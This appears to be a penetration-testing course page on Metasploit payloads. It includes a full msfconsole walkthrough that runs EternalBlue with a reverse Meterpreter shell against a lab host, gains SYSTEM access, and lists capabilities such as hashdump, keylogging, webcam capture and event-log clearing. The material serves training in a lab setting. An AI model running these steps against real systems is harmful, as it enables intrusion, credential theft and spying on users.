Kappa
“Great things are not done by impulse, but by a series of small things brought together.”
Hack The Box
Payloads
A Payload in Metasploit refers to a module that aids the exploit module in (typically) returning a shell to the attacker. The payloads are sent together with the exploit itself to bypass standard functioning procedures of the vulnerable service (exploits job) and then run on the target OS to typically return a reverse connection to the attacker and establish a foothold (payload's job).
There are three different types of payload modules in the Metasploit Framework: Singles, Stagers, and Stages. Using three typologies of payload interaction will prove beneficial to the pentester. It can offer the flexibility we need to perform certain types of tasks. Whether or not a payload is staged is represented by / in the payload name.
For example, windows/shell_bind_tcp is a single payload with no stage, whereas windows/shell/bind_tcp consists of a stager (bind_tcp) and a stage (shell).
Singles
A Single payload contains the exploit and the entire shellcode for the selected task. Inline payloads are by design more stable than their counterparts because they contain everything all-in-one. However, some exploits will not support the resulting size of these payloads as they can get quite large. Singles are self-contained payloads. They are the sole object sent and executed on the target system, getting us a result immediately after running. A Single payload can be as simple as adding a user to the target system or booting up a process.
Stagers
Stager payloads work with Stage payloads to perform a specific task. A Stager is waiting on the attacker machine, ready to establish a connection to the victim host once the stage completes its run on the remote host. Stagers are typically used to set up a network connection between the attacker and victim and are designed to be small and reliable. Metasploit will use the best one and fall back to a less-preferred one when necessary.
Windows NX vs. NO-NX Stagers
- Reliability issue for NX CPUs and DEP
- NX stagers are bigger (VirtualAlloc memory)
- Default is now NX + Win7 compatible
Stages
Stages are payload components that are downloaded by stager's modules. The various payload Stages provide advanced features with no size limits, such as Meterpreter, VNC Injection, and others. Payload stages automatically use middle stagers:
- A single recv() fails with large payloads
- The Stager receives the middle stager
- The middle Stager then performs a full download
- Also better for RWX
Staged Payloads
A staged payload is, simply put, an exploitation process that is modularized and functionally separated to help segregate the different functions it accomplishes into different code blocks, each completing its objective individually but working on chaining the attack together. This will ultimately grant an attacker remote access to the target machine if all the stages work correctly.
The scope of this payload, as with any others, besides granting shell access to the target system, is to be as compact and inconspicuous as possible to aid with the Antivirus (AV) / Intrusion Prevention System (IPS) evasion as much as possible.
Stage0 of a staged payload represents the initial shellcode sent over the network to the target machine's vulnerable service, which has the sole purpose of initializing a connection back to the attacker machine. This is what is known as a reverse connection. As a Metasploit user, we will meet these under the common names reverse_tcp, reverse_https, and bind_tcp. For example, under the show payloads command, you can look for the payloads that look like the following:
MSF - Staged Payloads
msf6 > show payloads
"SNIP"
535 windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
536 windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
537 windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
538 windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
539 windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
540 windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
541 windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
542 windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
543 windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
544 windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
545 windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
546 windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
547 windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
548 windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
"SNIP"
Reverse connections are less likely to trigger prevention systems like the one initializing the connection is the victim host, which most of the time resides in what is known as a security trust zone. However, of course, this trust policy is not blindly followed by the security devices and personnel of a network, so the attacker must tread carefully even with this step.
Stage0 code also aims to read a larger, subsequent payload into memory once it arrives. After the stable communication channel is established between the attacker and the victim, the attacker machine will most likely send an even bigger payload stage which should grant them shell access. This larger payload would be the Stage1 payload. We will go into more detail in the later sections.
Meterpreter Payload
The Meterpreter payload is a specific type of multi-faceted payload that uses DLL injection to ensure the connection to the victim host is stable, hard to detect by simple checks, and persistent across reboots or system changes. Meterpreter resides completely in the memory of the remote host and leaves no traces on the hard drive, making it very difficult to detect with conventional forensic techniques. In addition, scripts and plugins can be loaded and unloaded dynamically as required.
Once the Meterpreter payload is executed, a new session is created, which spawns up the Meterpreter interface. It is very similar to the msfconsole interface, but all available commands are aimed at the target system, which the payload has "infected." It offers us a plethora of useful commands, varying from keystroke capture, password hash collection, microphone tapping, and screenshotting to impersonating process security tokens. We will delve into more detail about Meterpreter in a later section.
Using Meterpreter, we can also load in different Plugins to assist us with our assessment. We will talk more about these in the Plugins section of this module.
Searching for Payloads
To select our first payload, we need to know what we want to do on the target machine. For example, if we are going for access persistence, we will probably want to select a Meterpreter payload.
As mentioned above, Meterpreter payloads offer us a significant amount of flexibility. Their base functionality is already vast and influential. We can automate and quickly deliver combined with plugins such as GentilKiwi's Mimikatz Plugin parts of the pentest while keeping an organized, time-effective assessment. To see all of the available payloads, use the show payloads command in msfconsole.
MSF - List Payloads
msf6 > show payloads
Payloads
========
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 aix/ppc/shell_bind_tcp manual No AIX Command Shell, Bind TCP Inline
1 aix/ppc/shell_find_port manual No AIX Command Shell, Find Port Inline
2 aix/ppc/shell_interact manual No AIX execve Shell for inetd
3 aix/ppc/shell_reverse_tcp manual No AIX Command Shell, Reverse TCP Inline
4 android/meterpreter/reverse_http manual No Android Meterpreter, Android Reverse HTTP Stager
5 android/meterpreter/reverse_https manual No Android Meterpreter, Android Reverse HTTPS Stager
6 android/meterpreter/reverse_tcp manual No Android Meterpreter, Android Reverse TCP Stager
7 android/meterpreter_reverse_http manual No Android Meterpreter Shell, Reverse HTTP Inline
8 android/meterpreter_reverse_https manual No Android Meterpreter Shell, Reverse HTTPS Inline
9 android/meterpreter_reverse_tcp manual No Android Meterpreter Shell, Reverse TCP Inline
10 android/shell/reverse_http manual No Command Shell, Android Reverse HTTP Stager
11 android/shell/reverse_https manual No Command Shell, Android Reverse HTTPS Stager
12 android/shell/reverse_tcp manual No Command Shell, Android Reverse TCP Stager
13 apple_ios/aarch64/meterpreter_reverse_http manual No Apple_iOS Meterpreter, Reverse HTTP Inline
"SNIP"
557 windows/x64/vncinject/reverse_tcp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
558 windows/x64/vncinject/reverse_tcp_rc4 manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
559 windows/x64/vncinject/reverse_tcp_uuid manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
560 windows/x64/vncinject/reverse_winhttp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
561 windows/x64/vncinject/reverse_winhttps manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
As seen above, there are a lot of available payloads to choose from. Not only that, but we can create our payloads using msfvenom, but we will dive into that a little bit later. We will use the same target as before, and instead of using the default payload, which is a simple reverse_tcp_shell, we will be using a Meterpreter Payload for Windows 7(x64).
Scrolling through the list above, we find the section containing Meterpreter Payloads for Windows(x64).
515 windows/x64/meterpreter/bind_ipv6_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
516 windows/x64/meterpreter/bind_ipv6_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
517 windows/x64/meterpreter/bind_named_pipe manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
518 windows/x64/meterpreter/bind_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
519 windows/x64/meterpreter/bind_tcp_rc4 manual No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
520 windows/x64/meterpreter/bind_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
521 windows/x64/meterpreter/reverse_http manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
522 windows/x64/meterpreter/reverse_https manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
523 windows/x64/meterpreter/reverse_named_pipe manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
524 windows/x64/meterpreter/reverse_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
525 windows/x64/meterpreter/reverse_tcp_rc4 manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
526 windows/x64/meterpreter/reverse_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
527 windows/x64/meterpreter/reverse_winhttp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
528 windows/x64/meterpreter/reverse_winhttps manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
529 windows/x64/meterpreter_bind_named_pipe manual No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
530 windows/x64/meterpreter_bind_tcp manual No Windows Meterpreter Shell, Bind TCP Inline (x64)
531 windows/x64/meterpreter_reverse_http manual No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
532 windows/x64/meterpreter_reverse_https manual No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
533 windows/x64/meterpreter_reverse_ipv6_tcp manual No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
534 windows/x64/meterpreter_reverse_tcp manual No Windows Meterpreter Shell, Reverse TCP Inline x64
As we can see, it can be pretty time-consuming to find the desired payload with such an extensive list. We can also use grep in msfconsole to filter out specific terms. This would speed up the search and, therefore, our selection.
We have to enter the grep command with the corresponding parameter at the beginning and then the command in which the filtering should happen. For example, let us assume that we want to have a TCP based reverse shell handled by Meterpreter for our exploit. Accordingly, we can first search for all results that contain the word Meterpreter in the payloads.
MSF - Searching for Specific Payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter show payloads
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter show payloads
[*] 14
This gives us a total of 14 results. Now we can add another grep command after the first one and search for reverse_tcp.
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter grep reverse_tcp show payloads
[*] 3
With the help of grep, we reduced the list of payloads we wanted down to fewer. Of course, the grep command can be used for all other commands. All we need to know is what we are looking for.
Selecting Payloads
Same as with the module, we need the index number of the entry we would like to use. To set the payload for the currently selected module, we use set payload "no." only after selecting an Exploit module to begin with.
MSF - Select Payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:"path"'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15
payload => windows/x64/meterpreter/reverse_tcp
After selecting a payload, we will have more options available to us.
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:"path"'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
As we can see, by running the show payloads command within the Exploit module itself, msfconsole has detected that the target is a Windows machine, and such only displayed the payloads aimed at Windows operating systems.
We can also see that a new option field has appeared, directly related to what the payload parameters will contain. We will be focusing on LHOST and LPORT (our attacker IP and the desired port for reverse connection initialization). Of course, if the attack fails, we can always use a different port and relaunch the attack.
Using Payloads
Time to set our parameters for both the Exploit module and the payload module. For the Exploit part, we will need to set the following:
- RHOSTS - The IP address of the remote host, the target machine.
- RPORT - Does not require a change, just a check that we are on port 445, where SMB is running.
For the payload part, we will need to set the following:
- LHOST - The host's IP address, the attacker's machine.
- LPORT - Does not require a change, just a check that the port is not already in use.
If we want to check our LHOST IP address quickly, we can always call the ifconfig command directly from the msfconsole menu.
MSF - Exploit and Payload Configuration
msf6 exploit(**windows/smb/ms17_010_eternalblue**) > ifconfig
**[\*]** exec: ifconfig
tun0: flags=4305"UP,POINTOPOINT,RUNNING,NOARP,MULTICAST" mtu 1500
"SNIP"
inet 10.10.14.15 netmask 255.255.254.0 destination 10.10.14.15
"SNIP"
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.15
LHOST => 10.10.14.15
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
Then, we can run the exploit and see what it returns. Check out the differences in the output below:
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158) at 2020-08-14 11:25:32 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
The prompt is not a Windows command-line one but a Meterpreter prompt. The whoami command, typically used for Windows, does not work here. Instead, we can use the Linux equivalent of getuid. Exploring the help menu gives us further insight into what Meterpreter payloads are capable of.
MSF - Meterpreter Commands
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of Unicode strings
enable_unicode_encoding Enables encoding of Unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
IRB Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Strap: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
LCD Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
PWD Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Strap: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
get proxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of hostnames on the target
route View and modify the routing table
Strap: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Strap: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idle time Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user's desktop in real-time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Strap: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
======================
Command Description
------- -----------
get system Attempt to elevate your privilege to that of the local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestamp Commands
========================
Command Description
------- -----------
timestamp Manipulate file MACE attributes
Pretty nifty. From extracting user hashes from SAM to taking screenshots and activating webcams. All of this is done from the comfort of a Linux-style command line. Exploring further, we also see the option to open a shell channel. This will place us in the actual Windows command-line interface.
MSF - Meterpreter Navigation
meterpreter > cd Users
meterpreter > ls
Listing: C:\Users
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 8192 dir 2017-07-21 06:56:23 +0000 Administrator
40777/rwxrwxrwx 0 dir 2009-07-14 05:08:56 +0000 All Users
40555/r-xr-xr-x 8192 dir 2009-07-14 03:20:08 +0000 Default
40777/rwxrwxrwx 0 dir 2009-07-14 05:08:56 +0000 Default User
40555/r-xr-xr-x 4096 dir 2009-07-14 03:20:08 +0000 Public
100666/rw-rw-rw- 174 fil 2009-07-14 04:54:24 +0000 desktop.ini
40777/rwxrwxrwx 8192 dir 2017-07-14 13:45:33 +0000 haris
meterpreter > shell
Process 2664 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users>
Channel 1 has been created, and we are automatically placed into the CLI for this machine. The channel here represents the connection between our device and the target host, which has been established in a reverse TCP connection (from the target host to us) using a Meterpreter Stager and Stage. The stager was activated on our machine to await a connection request initialized by the Stage payload on the target machine.
Moving into a standard shell on the target is helpful in some cases, but Meterpreter can also navigate and perform actions on the victim machine. So we see that the commands have changed, but we have the same privilege level within the system.
MSF - Windows CMD
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is A0EF-1911
Directory of C:\Users
21/07/2017 07:56 "DIR" .
21/07/2017 07:56 "DIR" ..
21/07/2017 07:56 "DIR" Administrator
14/07/2017 14:45 "DIR" haris
12/04/2011 08:51 "DIR" Public
0 File(s) 0 bytes
5 Dir(s) 15,738,978,304 bytes free
C:\Users>whoami
whoami
nt authority\system
Let's see what other types of payloads we can use. We will be looking at the most common ones related to Windows operating systems.
The table below contains the most common payloads used for Windows machines and their respective descriptions.
- generic/custom - Generic listener, multi-use
- generic/shell_bind_tcp - Generic listener, multi-use, normal shell, TCP connection binding
- generic/shell_reverse_tcp - Generic listener, multi-use, normal shell, reverse TCP connection
- windows/x64/exec - Executes an arbitrary command (Windows x64)
- windows/x64/loadlibrary - Loads an arbitrary x64 library path
- windows/x64/messagebox - Spawns a dialog via MessageBox using a customizable title, text & icon
- windows/x64/shell_reverse_tcp - Normal shell, single payload, reverse TCP connection
- windows/x64/shell/reverse_tcp - Normal shell, stager + stage, reverse TCP connection
- windows/x64/shell/bind_ipv6_tcp - Normal shell, stager + stage, IPv6 Bind TCP stager
- windows/x64/meterpreter/$ - Meterpreter payload + varieties above
- windows/x64/powershell/$ - Interactive PowerShell sessions + varieties above
- windows/x64/vncinject/$ VNC Server (Reflective Injection) + varieties above
Other critical payloads that are heavily used by penetration testers during security assessments are Empire and Cobalt Strike payloads. These are not in the scope of this course, but feel free to research them in our free time as they can provide a significant amount of insight into how professional penetration testers perform their assessments on high-value targets.
Besides these, of course, there are a plethora of other payloads out there. Some are for specific device vendors, such as Cisco, Apple, or PLCs. Some we can generate ourselves using msfvenom. However, next up, we will look at Encoders and how they can be used to influence the attack outcome.
Questions
Exploit the Apache Druid service and find the flag.txt file. Submit the contents of this file as the answer.